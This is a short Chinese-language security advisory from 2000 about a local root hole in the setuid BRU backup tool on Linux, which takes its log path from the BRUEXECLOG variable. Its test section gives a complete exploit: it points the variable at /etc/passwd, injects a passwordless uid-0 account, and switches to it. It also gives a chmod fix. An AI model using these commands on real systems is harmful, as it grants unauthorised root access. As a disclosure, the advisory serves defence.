发布日期：2000-06-08
更新日期：2000-06-09

受影响系统：

BRU + Linux

描述：

---

BRU是一个备份软件，它被设置了setuid root位。它在进行备份记录的时候，其记录
文件是从环境变量BRUEXECLOG中读取的。如果修改这个变量的内容，就可能将任意内容写
入任意的系统文件中。这可能导致用户获取本地root权限

<* 来源：Riley Hassell *>


测试方法：

---

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

    $ BRUEXECLOG=/etc/passwd
    $ export BRUEXECLOG
    $ bru -V '
    > comsec::0:0::/:/bin/sh
    > '
    $ su comsec
    #

建议：

---

临时解决办法：

去掉bru的setuid 位: chmod a-s bru


浏览次数：5937
严重程度：0（网友投票）